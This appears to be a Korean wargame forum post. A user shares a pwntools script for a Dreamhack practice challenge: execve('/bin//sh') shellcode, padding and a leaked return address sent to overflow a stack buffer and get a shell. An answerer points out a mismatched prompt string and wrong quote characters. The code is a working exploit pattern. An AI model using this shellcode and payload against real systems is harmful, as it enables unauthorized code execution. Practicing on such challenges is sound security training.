뭐가 잘못된거지 한번 봐주실수 있으신가요?
from pwn import*
context.log_level='debug'
p=remote('host3.dreamhack.games',23039)
p.recvuntil(b'buf : ( ')
ret = int(p.recv(10), 16)
shell=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload=shell
payload+=b'A'*106 + p32(ret)
p.sendline(payload)
p.interactive()
작성한 코드인데 아래 사진 처럼 오류가 나서 찾아봤는데 뭔지 모르겠습니다
#pwnable
작성자 정보
답변
1
Rasser
워게임: 20
p.recvuntil(b’buf : ( ')
부분에서 에러가 떠서 그렇습니다.
바이너리를 실행했을 때 정확히 buf : (
인지 확인해보세요.
그리고 문자열 하실때 '나 "으로 작성해주셔야 합니다